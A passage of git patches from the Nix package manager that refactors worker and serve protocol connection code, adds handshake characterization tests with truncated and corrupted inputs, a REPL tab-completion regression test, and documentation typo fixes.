+    void importPaths(const StoreDirConfig & store, std::function<void(Sink &)> fun);
+};
+
+struct ServeProto::BasicServerConnection
+{
+    /**
+     * Establishes connection, negotiating version.
+     *
+     * @return the version provided by the other side of the
+     * connection.
+     *
+     * @param to Taken by reference to allow for various error handling
+     * mechanisms.
+     *
+     * @param from Taken by reference to allow for various error
+     * handling mechanisms.
+     *
+     * @param localVersion Our version which is sent over
+     */
+    static ServeProto::Version handshake(BufferedSink & to, Source & from, ServeProto::Version localVersion);
+};
+
+}
diff --git a/src/libstore/serve-protocol-impl.hh b/src/libstore/serve-protocol-impl.hh
index 1d9c79ef088..67bc5dc6eed 100644
--- a/src/libstore/serve-protocol-impl.hh
+++ b/src/libstore/serve-protocol-impl.hh
@@ -57,105 +57,4 @@ struct ServeProto::Serialise
 
 /* protocol-specific templates */
 
-struct ServeProto::BasicClientConnection
-{
-    FdSink to;
-    FdSource from;
-    ServeProto::Version remoteVersion;
-
-    /**
-     * Establishes connection, negotiating version.
-     *
-     * @return the version provided by the other side of the
-     * connection.
-     *
-     * @param to Taken by reference to allow for various error handling
-     * mechanisms.
-     *
-     * @param from Taken by reference to allow for various error
-     * handling mechanisms.
-     *
-     * @param localVersion Our version which is sent over
-     *
-     * @param host Just used to add context to thrown exceptions.
-     */
-    static ServeProto::Version handshake(
-        BufferedSink & to,
-        Source & from,
-        ServeProto::Version localVersion,
-        std::string_view host);
-
-    /**
-     * Coercion to `ServeProto::ReadConn`. This makes it easy to use the
-     * factored out serve protocol serializers with a
-     * `LegacySSHStore::Connection`.
-     *
-     * The serve protocol connection types are unidirectional, unlike
-     * this type.
-     */
-    operator ServeProto::ReadConn ()
-    {
-        return ServeProto::ReadConn {
-            .from = from,
-            .version = remoteVersion,
-        };
-    }
-
-    /**
-     * Coercion to `ServeProto::WriteConn`. This makes it easy to use the
-     * factored out serve protocol serializers with a
-     * `LegacySSHStore::Connection`.
-     *
-     * The serve protocol connection types are unidirectional, unlike
-     * this type.
-     */
-    operator ServeProto::WriteConn ()
-    {
-        return ServeProto::WriteConn {
-            .to = to,
-            .version = remoteVersion,
-        };
-    }
-
-    StorePathSet queryValidPaths(
-        const Store & remoteStore,
-        bool lock, const StorePathSet & paths,
-        SubstituteFlag maybeSubstitute);
-
-    std::map<StorePath, UnkeyedValidPathInfo> queryPathInfos(
-        const Store & store,
-        const StorePathSet & paths);
-
-    /**
-     * Just the request half, because Hydra may do other things between
-     * issuing the request and reading the `BuildResult` response.
-     */
-    void putBuildDerivationRequest(
-        const Store & store,
-        const StorePath & drvPath, const BasicDerivation & drv,
-        const ServeProto::BuildOptions & options);
-};
-
-struct ServeProto::BasicServerConnection
-{
-    /**
-     * Establishes connection, negotiating version.
-     *
-     * @return the version provided by the other side of the
-     * connection.
-     *
-     * @param to Taken by reference to allow for various error handling
-     * mechanisms.
-     *
-     * @param from Taken by reference to allow for various error
-     * handling mechanisms.
-     *
-     * @param localVersion Our version which is sent over
-     */
-    static ServeProto::Version handshake(
-        BufferedSink & to,
-        Source & from,
-        ServeProto::Version localVersion);
-};
-
 }
diff --git a/src/libstore/worker-protocol-connection.cc b/src/libstore/worker-protocol-connection.cc
new file mode 100644
index 00000000000..072bae8da82
--- /dev/null
+++ b/src/libstore/worker-protocol-connection.cc
@@ -0,0 +1,280 @@
+#include "worker-protocol-connection.hh"
+#include "worker-protocol-impl.hh"
+#include "build-result.hh"
+#include "derivations.hh"
+
+namespace nix {
+
+WorkerProto::BasicClientConnection::~BasicClientConnection()
+{
+    try {
+        to.flush();
+    } catch (...) {
+        ignoreException();
+    }
+}
+
+static Logger::Fields readFields(Source & from)
+{
+    Logger::Fields fields;
+    size_t size = readInt(from);
+    for (size_t n = 0; n < size; n++) {
+        auto type = (decltype(Logger::Field::type)) readInt(from);
+        if (type == Logger::Field::tInt)
+            fields.push_back(readNum<uint64_t>(from));
+        else if (type == Logger::Field::tString)
+            fields.push_back(readString(from));
+        else
+            throw Error("got unsupported field type %x from Nix daemon", (int) type);
+    }
+    return fields;
+}
+
+std::exception_ptr WorkerProto::BasicClientConnection::processStderrReturn(Sink * sink, Source * source, bool flush)
+{
+    if (flush)
+        to.flush();
+
+    std::exception_ptr ex;
+
+    while (true) {
+
+        auto msg = readNum<uint64_t>(from);
+
+        if (msg == STDERR_WRITE) {
+            auto s = readString(from);
+            if (!sink)
+                throw Error("no sink");
+            (*sink)(s);
+        }
+
+        else if (msg == STDERR_READ) {
+            if (!source)
+                throw Error("no source");
+            size_t len = readNum<size_t>(from);
+            auto buf = std::make_unique<char[]>(len);
+            writeString({(const char *) buf.get(), source->read(buf.get(), len)}, to);
+            to.flush();
+        }
+
+        else if (msg == STDERR_ERROR) {
+            if (GET_PROTOCOL_MINOR(daemonVersion) >= 26) {
+                ex = std::make_exception_ptr(readError(from));
+            } else {
+                auto error = readString(from);
+                unsigned int status = readInt(from);
+                ex = std::make_exception_ptr(Error(status, error));
+            }
+            break;
+        }
+
+        else if (msg == STDERR_NEXT)
+            printError(chomp(readString(from)));
+
+        else if (msg == STDERR_START_ACTIVITY) {
+            auto act = readNum<ActivityId>(from);
+            auto lvl = (Verbosity) readInt(from);
+            auto type = (ActivityType) readInt(from);
+            auto s = readString(from);
+            auto fields = readFields(from);
+            auto parent = readNum<ActivityId>(from);
+            logger->startActivity(act, lvl, type, s, fields, parent);
+        }
+
+        else if (msg == STDERR_STOP_ACTIVITY) {
+            auto act = readNum<ActivityId>(from);
+            logger->stopActivity(act);
+        }
+
+        else if (msg == STDERR_RESULT) {
+            auto act = readNum<ActivityId>(from);
+            auto type = (ResultType) readInt(from);
+            auto fields = readFields(from);
+            logger->result(act, type, fields);
+        }
+
+        else if (msg == STDERR_LAST)
+            break;
+
+        else
+            throw Error("got unknown message type %x from Nix daemon", msg);
+    }
+
+    if (!ex) {
+        return ex;
+    } else {
+        try {
+            std::rethrow_exception(ex);
+        } catch (const Error & e) {
+            // Nix versions before #4628 did not have an adequate
+            // behavior for reporting that the derivation format was
+            // upgraded. To avoid having to add compatibility logic in
+            // many places, we expect to catch almost all occurrences of
+            // the old incomprehensible error here, so that we can
+            // explain to users what's going on when their daemon is
+            // older than #4628 (2023).
+            if (experimentalFeatureSettings.isEnabled(Xp::DynamicDerivations)
+                && GET_PROTOCOL_MINOR(daemonVersion) <= 35) {
+                auto m = e.msg();
+                if (m.find("parsing derivation") != std::string::npos && m.find("expected string") != std::string::npos
+                    && m.find("Derive([") != std::string::npos)
+                    return std::make_exception_ptr(Error(
+                        "%s, this might be because the daemon is too old to understand dependencies on dynamic derivations. Check to see if the raw derivation is in the form '%s'",
+                        std::move(m),
+                        "Drv WithVersion(..)"));
+            }
+            return std::current_exception();
+        }
+    }
+}
+
+void WorkerProto::BasicClientConnection::processStderr(bool * daemonException, Sink * sink, Source * source, bool flush)
+{
+    auto ex = processStderrReturn(sink, source, flush);
+    if (ex) {
+        *daemonException = true;
+        std::rethrow_exception(ex);
+    }
+}
+
+WorkerProto::Version
+WorkerProto::BasicClientConnection::handshake(BufferedSink & to, Source & from, WorkerProto::Version localVersion)
+{
+    to << WORKER_MAGIC_1 << localVersion;
+    to.flush();
+
+    unsigned int magic = readInt(from);
+    if (magic != WORKER_MAGIC_2)
+        throw Error("nix-daemon protocol mismatch from");
+    auto daemonVersion = readInt(from);
+
+    if (GET_PROTOCOL_MAJOR(daemonVersion) != GET_PROTOCOL_MAJOR(PROTOCOL_VERSION))
+        throw Error("Nix daemon protocol version not supported");
+    if (GET_PROTOCOL_MINOR(daemonVersion) < 10)
+        throw Error("the Nix daemon version is too old");
+    to << localVersion;
+
+    return std::min(daemonVersion, localVersion);
+}
+
+WorkerProto::Version
+WorkerProto::BasicServerConnection::handshake(BufferedSink & to, Source & from, WorkerProto::Version localVersion)
+{
+    unsigned int magic = readInt(from);
+    if (magic != WORKER_MAGIC_1)
+        throw Error("protocol mismatch");
+    to << WORKER_MAGIC_2 << localVersion;
+    to.flush();
+    auto clientVersion = readInt(from);
+    return std::min(clientVersion, localVersion);
+}
+
+WorkerProto::ClientHandshakeInfo WorkerProto::BasicClientConnection::postHandshake(const StoreDirConfig & store)
+{
+    WorkerProto::ClientHandshakeInfo res;
+
+    if (GET_PROTOCOL_MINOR(daemonVersion) >= 14) {
+        // Obsolete CPU affinity.
+        to << 0;
+    }
+
+    if (GET_PROTOCOL_MINOR(daemonVersion) >= 11)
+        to << false; // obsolete reserveSpace
+
+    if (GET_PROTOCOL_MINOR(daemonVersion) >= 33)
+        to.flush();
+
+    return WorkerProto::Serialise<ClientHandshakeInfo>::read(store, *this);
+}
+
+void WorkerProto::BasicServerConnection::postHandshake(const StoreDirConfig & store, const ClientHandshakeInfo & info)
+{
+    if (GET_PROTOCOL_MINOR(clientVersion) >= 14 && readInt(from)) {
+        // Obsolete CPU affinity.
+        readInt(from);
+    }
+
+    if (GET_PROTOCOL_MINOR(clientVersion) >= 11)
+        readInt(from); // obsolete reserveSpace
+
+    WorkerProto::write(store, *this, info);
+}
+
+UnkeyedValidPathInfo WorkerProto::BasicClientConnection::queryPathInfo(
+    const StoreDirConfig & store, bool * daemonException, const StorePath & path)
+{
+    to << WorkerProto::Op::QueryPathInfo << store.printStorePath(path);
+    try {
+        processStderr(daemonException);
+    } catch (Error & e) {
+        // Ugly backwards compatibility hack.
+        if (e.msg().find("is not valid") != std::string::npos)
+            throw InvalidPath(std::move(e.info()));
+        throw;
+    }
+    if (GET_PROTOCOL_MINOR(daemonVersion) >= 17) {
+        bool valid;
+        from >> valid;
+        if (!valid)
+            throw InvalidPath("path '%s' is not valid", store.printStorePath(path));
+    }
+    return WorkerProto::Serialise<UnkeyedValidPathInfo>::read(store, *this);
+}
+
+StorePathSet WorkerProto::BasicClientConnection::queryValidPaths(
+    const StoreDirConfig & store, bool * daemonException, const StorePathSet & paths, SubstituteFlag maybeSubstitute)
+{
+    assert(GET_PROTOCOL_MINOR(daemonVersion) >= 12);
+    to << WorkerProto::Op::QueryValidPaths;
+    WorkerProto::write(store, *this, paths);
+    if (GET_PROTOCOL_MINOR(daemonVersion) >= 27) {
+        to << maybeSubstitute;
+    }
+    processStderr(daemonException);
+    return WorkerProto::Serialise<StorePathSet>::read(store, *this);
+}
+
+void WorkerProto::BasicClientConnection::addTempRoot(
+    const StoreDirConfig & store, bool * daemonException, const StorePath & path)
+{
+    to << WorkerProto::Op::AddTempRoot << store.printStorePath(path);
+    processStderr(daemonException);
+    readInt(from);
+}
+
+void WorkerProto::BasicClientConnection::putBuildDerivationRequest(
+    const StoreDirConfig & store,
+    bool * daemonException,
+    const StorePath & drvPath,
+    const BasicDerivation & drv,
+    BuildMode buildMode)
+{
+    to << WorkerProto::Op::BuildDerivation << store.printStorePath(drvPath);
+    writeDerivation(to, store, drv);
+    to << buildMode;
+}
+
+BuildResult
+WorkerProto::BasicClientConnection::getBuildDerivationResponse(const StoreDirConfig & store, bool * daemonException)
+{
+    return WorkerProto::Serialise<BuildResult>::read(store, *this);
+}
+
+void WorkerProto::BasicClientConnection::narFromPath(
+    const StoreDirConfig & store, bool * daemonException, const StorePath & path, std::function<void(Source &)> fun)
+{
+    to << WorkerProto::Op::NarFromPath << store.printStorePath(path);
+    processStderr(daemonException);
+
+    fun(from);
+}
+
+void WorkerProto::BasicClientConnection::importPaths(
+    const StoreDirConfig & store, bool * daemonException, Source & source)
+{
+    to << WorkerProto::Op::ImportPaths;
+    processStderr(daemonException, 0, &source);
+    auto importedPaths = WorkerProto::Serialise<StorePathSet>::read(store, *this);
+    assert(importedPaths.size() <= importedPaths.size());
+}
+}
diff --git a/src/libstore/worker-protocol-connection.hh b/src/libstore/worker-protocol-connection.hh
new file mode 100644
index 00000000000..9dd723fd089
--- /dev/null
+++ b/src/libstore/worker-protocol-connection.hh
@@ -0,0 +1,187 @@
+#pragma once
+///@file
+
+#include "worker-protocol.hh"
+#include "store-api.hh"
+
+namespace nix {
+
+struct WorkerProto::BasicClientConnection
+{
+    /**
+     * Send with this.
+     */
+    FdSink to;
+
+    /**
+     * Receive with this.
+     */
+    FdSource from;
+
+    /**
+     * Worker protocol version used for the connection.
+     *
+     * Despite its name, it is actually the maximum version both
+     * sides support. (If the maximum doesn't exist, we would fail to
+     * establish a connection and produce a value of this type.)
+     */
+    WorkerProto::Version daemonVersion;
+
+    /**
+     * Flush to direction
+     */
+    virtual ~BasicClientConnection();
+
+    virtual void closeWrite() = 0;
+
+    std::exception_ptr processStderrReturn(Sink * sink = 0, Source * source = 0, bool flush = true);
+
+    void processStderr(bool * daemonException, Sink * sink = 0, Source * source = 0, bool flush = true);
+
+    /**
+     * Establishes connection, negotiating version.
+     *
+     * @return the version provided by the other side of the
+     * connection.
+     *
+     * @param to Taken by reference to allow for various error handling
+     * mechanisms.
+     *
+     * @param from Taken by reference to allow for various error
+     * handling mechanisms.
+     *
+     * @param localVersion Our version which is sent over
+     */
+    static Version handshake(BufferedSink & to, Source & from, WorkerProto::Version localVersion);
+
+    /**
+     * After calling handshake, must call this to exchange some basic
+     * information abou the connection.
+     */
+    ClientHandshakeInfo postHandshake(const StoreDirConfig & store);
+
+    /**
+     * Coercion to `WorkerProto::ReadConn`. This makes it easy to use the
+     * factored out serve protocol serializers with a
+     * `LegacySSHStore::Connection`.
+     *
+     * The serve protocol connection types are unidirectional, unlike
+     * this type.
+     */
+    operator WorkerProto::ReadConn()
+    {
+        return WorkerProto::ReadConn{
+            .from = from,
+            .version = daemonVersion,
+        };
+    }
+
+    /**
+     * Coercion to `WorkerProto::WriteConn`. This makes it easy to use the
+     * factored out serve protocol serializers with a
+     * `LegacySSHStore::Connection`.
+     *
+     * The serve protocol connection types are unidirectional, unlike
+     * this type.
+     */
+    operator WorkerProto::WriteConn()
+    {
+        return WorkerProto::WriteConn{
+            .to = to,
+            .version = daemonVersion,
+        };
+    }
+
+    void addTempRoot(const StoreDirConfig & remoteStore, bool * daemonException, const StorePath & path);
+
+    StorePathSet queryValidPaths(
+        const StoreDirConfig & remoteStore,
+        bool * daemonException,
+        const StorePathSet & paths,
+        SubstituteFlag maybeSubstitute);
+
+    UnkeyedValidPathInfo queryPathInfo(const StoreDirConfig & store, bool * daemonException, const StorePath & path);
+
+    void putBuildDerivationRequest(
+        const StoreDirConfig & store,
+        bool * daemonException,
+        const StorePath & drvPath,
+        const BasicDerivation & drv,
+        BuildMode buildMode);
+
+    /**
+     * Get the response, must be paired with
+     * `putBuildDerivationRequest`.
+     */
+    BuildResult getBuildDerivationResponse(const StoreDirConfig & store, bool * daemonException);
+
+    void narFromPath(
+        const StoreDirConfig & store,
+        bool * daemonException,
+        const StorePath & path,
+        std::function<void(Source &)> fun);
+
+    void importPaths(const StoreDirConfig & store, bool * daemonException, Source & source);
+};
+
+struct WorkerProto::BasicServerConnection
+{
+    /**
+     * Send with this.
+     */
+    FdSink & to;
+
+    /**
+     * Receive with this.
+     */
+    FdSource & from;
+
+    /**
+     * Worker protocol version used for the connection.
+     *
+     * Despite its name, it is actually the maximum version both
+     * sides support. (If the maximum doesn't exist, we would fail to
+     * establish a connection and produce a value of this type.)
+     */
+    WorkerProto::Version clientVersion;
+
+    operator WorkerProto::ReadConn()
+    {
+        return WorkerProto::ReadConn{
+            .from = from,
+            .version = clientVersion,
+        };
+    }
+
+    operator WorkerProto::WriteConn()
+    {
+        return WorkerProto::WriteConn{
+            .to = to,
+            .version = clientVersion,
+        };
+    }
+
+    /**
+     * Establishes connection, negotiating version.
+     *
+     * @return the version provided by the other side of the
+     * connection.
+     *
+     * @param to Taken by reference to allow for various error handling
+     * mechanisms.
+     *
+     * @param from Taken by reference to allow for various error
+     * handling mechanisms.
+     *
+     * @param localVersion Our version which is sent over
+     */
+    static WorkerProto::Version handshake(BufferedSink & to, Source & from, WorkerProto::Version localVersion);
+
+    /**
+     * After calling handshake, must call this to exchange some basic
+     * information abou the connection.
+     */
+    void postHandshake(const StoreDirConfig & store, const ClientHandshakeInfo & info);
+};
+
+}
diff --git a/src/libstore/worker-protocol.cc b/src/libstore/worker-protocol.cc
index a50259d240f..c61540bd6bb 100644
--- a/src/libstore/worker-protocol.cc
+++ b/src/libstore/worker-protocol.cc
@@ -222,4 +222,35 @@ void WorkerProto::Serialise<UnkeyedValidPathInfo>::write(const StoreDirConfig &
     }
 }
 
+
+WorkerProto::ClientHandshakeInfo WorkerProto::Serialise<WorkerProto::ClientHandshakeInfo>::read(const StoreDirConfig & store, ReadConn conn)
+{
+    WorkerProto::ClientHandshakeInfo res;
+
+    if (GET_PROTOCOL_MINOR(conn.version) >= 33) {
+        res.daemonNixVersion = readString(conn.from);
+    }
+
+    if (GET_PROTOCOL_MINOR(conn.version) >= 35) {
+        res.remoteTrustsUs = WorkerProto::Serialise<std::optional<    TrustedFlag>>::read(store, conn);
+    } else {
+        // We don't know the answer; protocol to old.
+        res.remoteTrustsUs = std::nullopt;
+    }
+
+    return res;
+}
+
+void WorkerProto::Serialise<WorkerProto::ClientHandshakeInfo>::write(const StoreDirConfig & store, WriteConn conn, const WorkerProto::ClientHandshakeInfo & info)
+{
+    if (GET_PROTOCOL_MINOR(conn.version) >= 33) {
+        assert(info.daemonNixVersion);
+        conn.to << *info.daemonNixVersion;
+    }
+
+    if (GET_PROTOCOL_MINOR(conn.version) >= 35) {
+        WorkerProto::write(store, conn, info.remoteTrustsUs);
+    }
+}
+
 }
diff --git a/src/libstore/worker-protocol.hh b/src/libstore/worker-protocol.hh
index 91d277b7705..db61574aaa8 100644
--- a/src/libstore/worker-protocol.hh
+++ b/src/libstore/worker-protocol.hh
@@ -76,6 +76,19 @@ struct WorkerProto
         Version version;
     };
 
+    /**
+     * Stripped down serialization logic suitable for sharing with Hydra.
+     *
+     * @todo remove once Hydra uses Store abstraction consistently.
+     */
+    struct BasicClientConnection;
+    struct BasicServerConnection;
+
+    /**
+     * Extra information provided as part of protocol negotation.
+     */
+    struct ClientHandshakeInfo;
+
     /**
      * Data type for canonical pairs of serialisers for the worker protocol.
      *
@@ -166,6 +179,33 @@ enum struct WorkerProto::Op : uint64_t
     AddPermRoot = 47,
 };
 
+struct WorkerProto::ClientHandshakeInfo
+{
+    /**
+     * The version of the Nix daemon that is processing our requests
+.
+     *
+     * Do note, it may or may not communicating with another daemon,
+     * rather than being an "end" `LocalStore` or similar.
+     */
+    std::optional<std::string> daemonNixVersion;
+
+    /**
+     * Whether the remote side trusts us or not.
+     *
+     * 3 values: "yes", "no", or `std::nullopt` for "unknown".
+     *
+     * Note that the "remote side" might not be just the end daemon, but
+     * also an intermediary forwarder that can make its own trusting
+     * decisions. This would be the intersection of all their trust
+     * decisions, since it takes only one link in the chain to start
+     * denying operations.
+     */
+    std::optional<TrustedFlag> remoteTrustsUs;
+
+    bool operator == (const ClientHandshakeInfo &) const = default;
+};
+
 /**
  * Convenience for sending operation codes.
  *
@@ -218,6 +258,8 @@ template<>
 DECLARE_WORKER_SERIALISER(std::optional<TrustedFlag>);
 template<>
 DECLARE_WORKER_SERIALISER(std::optional<std::chrono::microseconds>);
+template<>
+DECLARE_WORKER_SERIALISER(WorkerProto::ClientHandshakeInfo);
 
 template<typename T>
 DECLARE_WORKER_SERIALISER(std::vector<T>);
diff --git a/src/nix-store/nix-store.cc b/src/nix-store/nix-store.cc
index b23d99ad6a4..6d028e0a76e 100644
--- a/src/nix-store/nix-store.cc
+++ b/src/nix-store/nix-store.cc
@@ -7,6 +7,7 @@
 #include "local-fs-store.hh"
 #include "log-store.hh"
 #include "serve-protocol.hh"
+#include "serve-protocol-connection.hh"
 #include "serve-protocol-impl.hh"
 #include "shared.hh"
 #include "graphml.hh"
diff --git a/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_30.bin b/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_30.bin
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_33.bin b/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_33.bin
new file mode 100644
index 0000000000000000000000000000000000000000..96c6efafc26106c56194eb973f82406c0e66c297
GIT binary patch
literal 32
WcmZQ(fPl38d@zF<%1=rx0<!=nCIWx}

literal 0
HcmV?d00001

diff --git a/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_35.bin b/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_35.bin
new file mode 100644
index 0000000000000000000000000000000000000000..e877159aaa2aa2575c7be665a3e0873a3d665803
GIT binary patch
literal 48
ccmZQ(fPl38d@zFv%4desNr^>Z79*4o07R|=g8%>k

literal 0
HcmV?d00001

diff --git a/tests/unit/libstore/data/worker-protocol/handshake-to-client.bin b/tests/unit/libstore/data/worker-protocol/handshake-to-client.bin
new file mode 100644
index 0000000000000000000000000000000000000000..bee94fbe53ae24cb60bfa2d506031389c71b43ac
GIT binary patch
literal 16
Tcmd1LtVm%10xm`n$-n>r86p9|

literal 0
HcmV?d00001

diff --git a/tests/unit/libstore/serve-protocol.cc b/tests/unit/libstore/serve-protocol.cc
index 61dc15528ee..ebf0c52b0c8 100644
--- a/tests/unit/libstore/serve-protocol.cc
+++ b/tests/unit/libstore/serve-protocol.cc
@@ -6,6 +6,7 @@
 
 #include "serve-protocol.hh"
 #include "serve-protocol-impl.hh"
+#include "serve-protocol-connection.hh"
 #include "build-result.hh"
 #include "file-descriptor.hh"
 #include "tests/protocol.hh"
diff --git a/tests/unit/libstore/worker-protocol.cc b/tests/unit/libstore/worker-protocol.cc
index 2b2e559a96a..853d56b6aea 100644
--- a/tests/unit/libstore/worker-protocol.cc
+++ b/tests/unit/libstore/worker-protocol.cc
@@ -4,6 +4,7 @@
 #include <gtest/gtest.h>
 
 #include "worker-protocol.hh"
+#include "worker-protocol-connection.hh"
 #include "worker-protocol-impl.hh"
 #include "derived-path.hh"
 #include "build-result.hh"
@@ -18,9 +19,9 @@ struct WorkerProtoTest : VersionedProtoTest<WorkerProto, workerProtoDir>
 {
     /**
      * For serializers that don't care about the minimum version, we
-     * used the oldest one: 1.0.
+     * used the oldest one: 1.10.
      */
-    WorkerProto::Version defaultVersion = 1 << 8 | 0;
+    WorkerProto::Version defaultVersion = 1 << 8 | 10;
 };
 
 
@@ -591,4 +592,152 @@ VERSIONED_CHARACTERIZATION_TEST(
         },
     }))
 
+VERSIONED_CHARACTERIZATION_TEST(
+    WorkerProtoTest,
+    clientHandshakeInfo_1_30,
+    "client-handshake-info_1_30",
+    1 << 8 | 30,
+    (std::tuple<WorkerProto::ClientHandshakeInfo> {
+        {},
+    }))
+
+VERSIONED_CHARACTERIZATION_TEST(
+    WorkerProtoTest,
+    clientHandshakeInfo_1_33,
+    "client-handshake-info_1_33",
+    1 << 8 | 33,
+    (std::tuple<WorkerProto::ClientHandshakeInfo, WorkerProto::ClientHandshakeInfo> {
+        {
+            .daemonNixVersion = std::optional { "foo" },
+        },
+        {
+            .daemonNixVersion = std::optional { "bar" },
+        },
+    }))
+
+VERSIONED_CHARACTERIZATION_TEST(
+    WorkerProtoTest,
+    clientHandshakeInfo_1_35,
+    "client-handshake-info_1_35",
+    1 << 8 | 35,
+    (std::tuple<WorkerProto::ClientHandshakeInfo, WorkerProto::ClientHandshakeInfo> {
+        {
+            .daemonNixVersion = std::optional { "foo" },
+            .remoteTrustsUs = std::optional { NotTrusted },
+        },
+        {
+            .daemonNixVersion = std::optional { "bar" },
+            .remoteTrustsUs = std::optional { Trusted },
+        },
+    }))
+
+TEST_F(WorkerProtoTest, handshake_log)
+{
+    CharacterizationTest::writeTest("handshake-to-client", [&]() -> std::string {
+        StringSink toClientLog;
+
+        Pipe toClient, toServer;
+        toClient.create();
+        toServer.create();
+
+        WorkerProto::Version clientResult;
+
+        auto thread = std::thread([&]() {
+            FdSink out { toServer.writeSide.get() };
+            FdSource in0 { toClient.readSide.get() };
+            TeeSource in { in0, toClientLog };
+            clientResult = WorkerProto::BasicClientConnection::handshake(
+                out, in, defaultVersion);
+        });
+
+        {
+            FdSink out { toClient.writeSide.get() };
+            FdSource in { toServer.readSide.get() };
+            WorkerProto::BasicServerConnection::handshake(
+                out, in, defaultVersion);
+        };
+
+        thread.join();
+
+        return std::move(toClientLog.s);
+    });
+}
+
+/// Has to be a `BufferedSink` for handshake.
+struct NullBufferedSink : BufferedSink {
+    void writeUnbuffered(std::string_view data) override { }
+};
+
+TEST_F(WorkerProtoTest, handshake_client_replay)
+{
+    CharacterizationTest::readTest("handshake-to-client", [&](std::string toClientLog) {
+        NullBufferedSink nullSink;
+
+        StringSource in { toClientLog };
+        auto clientResult = WorkerProto::BasicClientConnection::handshake(
+            nullSink, in, defaultVersion);
+
+        EXPECT_EQ(clientResult, defaultVersion);
+    });
+}
+
+TEST_F(WorkerProtoTest, handshake_client_truncated_replay_throws)
+{
+    CharacterizationTest::readTest("handshake-to-client", [&](std::string toClientLog) {
+        for (size_t len = 0; len < toClientLog.size(); ++len) {
+            NullBufferedSink nullSink;
+            StringSource in {
+                // truncate
+                toClientLog.substr(0, len)
+            };
+            if (len < 8) {
+                EXPECT_THROW(
+                    WorkerProto::BasicClientConnection::handshake(
+                        nullSink, in, defaultVersion),
+                    EndOfFile);
+            } else {
+                // Not sure why cannot keep on checking for `EndOfFile`.
+                EXPECT_THROW(
+                    WorkerProto::BasicClientConnection::handshake(
+                        nullSink, in, defaultVersion),
+                    Error);
+            }
+        }
+    });
+}
+
+TEST_F(WorkerProtoTest, handshake_client_corrupted_throws)
+{
+    CharacterizationTest::readTest("handshake-to-client", [&](const std::string toClientLog) {
+        for (size_t idx = 0; idx < toClientLog.size(); ++idx) {
+            // corrupt a copy
+            std::string toClientLogCorrupt = toClientLog;
+            toClientLogCorrupt[idx] *= 4;
+            ++toClientLogCorrupt[idx];
+
+            NullBufferedSink nullSink;
+            StringSource in { toClientLogCorrupt };
+
+            if (idx < 4 || idx == 9) {
+                // magic bytes don't match
+                EXPECT_THROW(
+                    WorkerProto::BasicClientConnection::handshake(
+                        nullSink, in, defaultVersion),
+                    Error);
+            } else if (idx < 8 || idx >= 12) {
+                // Number out of bounds
+                EXPECT_THROW(
+                    WorkerProto::BasicClientConnection::handshake(
+                        nullSink, in, defaultVersion),
+                    SerialisationError);
+            } else {
+                auto ver = WorkerProto::BasicClientConnection::handshake(
+                    nullSink, in, defaultVersion);
+                // `std::min` of this and the other version saves us
+                EXPECT_EQ(ver, defaultVersion);
+            }
+        }
+    });
+}
+
 }

From ebfada36a1d07159141bcb0fb60e7a4f934d448b Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 27 May 2024 09:58:49 +0200
Subject: [PATCH 201/528] Add repl completion test

---
 flake.nix                 |  1 +
 tests/repl-completion.nix | 40 +++++++++++++++++++++++++++++++++++++++
 2 files changed, 41 insertions(+)
 create mode 100644 tests/repl-completion.nix

diff --git a/flake.nix b/flake.nix
index 987f2530521..6356eedc0eb 100644
--- a/flake.nix
+++ b/flake.nix
@@ -393,6 +393,7 @@
           in pkgs.buildPackages.runCommand "test-rl-next-release-notes" { } ''
           LANG=C.UTF-8 ${pkgs.changelog-d-nix}/bin/changelog-d ${./doc/manual/rl-next} >$out
         '';
+        repl-completion = nixpkgsFor.${system}.native.callPackage ./tests/repl-completion.nix { };
       } // (lib.optionalAttrs (builtins.elem system linux64BitSystems)) {
         dockerImage = self.hydraJobs.dockerImage.${system};
       } // (lib.optionalAttrs (!(builtins.elem system linux32BitSystems))) {
diff --git a/tests/repl-completion.nix b/tests/repl-completion.nix
new file mode 100644
index 00000000000..3ba198a9860
--- /dev/null
+++ b/tests/repl-completion.nix
@@ -0,0 +1,40 @@
+{ runCommand, nix, expect }:
+
+# We only use expect when necessary, e.g. for testing tab completion in nix repl.
+# See also tests/functional/repl.sh
+
+runCommand "repl-completion" {
+  nativeBuildInputs = [
+    expect
+    nix
+  ];
+  expectScript = ''
+    # Regression https://github.com/NixOS/nix/pull/10778
+    spawn nix repl --offline --extra-experimental-features nix-command
+    expect "nix-repl>"
+    send "foo = import ./does-not-exist.nix\n"
+    expect "nix-repl>"
+    send "foo.\t"
+    expect {
+      "nix-repl>" {
+        puts "Got another prompt. Good."
+      }
+      eof {
+        puts "Got EOF. Bad."
+        exit 1
+      }
+    }
+    exit 0
+  '';
+  passAsFile = [ "expectScript" ];
+}
+''
+  export NIX_STORE=$TMPDIR/store
+  export NIX_STATE_DIR=$TMPDIR/state
+  export HOME=$TMPDIR/home
+  mkdir $HOME
+
+  nix-store --init
+  expect $expectScriptPath
+  touch $out
+''
\ No newline at end of file

From e7ea5591a25f2f28be15ca5bf8768fb460b4a663 Mon Sep 17 00:00:00 2001
From: Martin Joerg <martin.joerg@gmail.com>
Date: Mon, 27 May 2024 15:56:52 +0200
Subject: [PATCH 202/528] fix typos

---
 doc/manual/src/language/operators.md | 2 +-
 src/nix/flake-metadata.md            | 4 ++--
 src/nix/hash.cc                      | 2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/doc/manual/src/language/operators.md b/doc/manual/src/language/operators.md
index 311887e96f9..9e5ab52a210 100644
--- a/doc/manual/src/language/operators.md
+++ b/doc/manual/src/language/operators.md
@@ -141,7 +141,7 @@ The result is a string.
 
 Update [attribute set] *attrset1* with names and values from *attrset2*.
 
-The returned attribute set will have of all the attributes in *attrset1* and *attrset2*.
+The returned attribute set will have all of the attributes in *attrset1* and *attrset2*.
 If an attribute name is present in both, the attribute value from the latter is taken.
 
 [Update]: #update
diff --git a/src/nix/flake-metadata.md b/src/nix/flake-metadata.md
index 5a009409b5c..adfd3dc96bb 100644
--- a/src/nix/flake-metadata.md
+++ b/src/nix/flake-metadata.md
@@ -2,10 +2,10 @@ R""(
 
 # Examples
 
-* Show what `nixpkgs` resolves to:
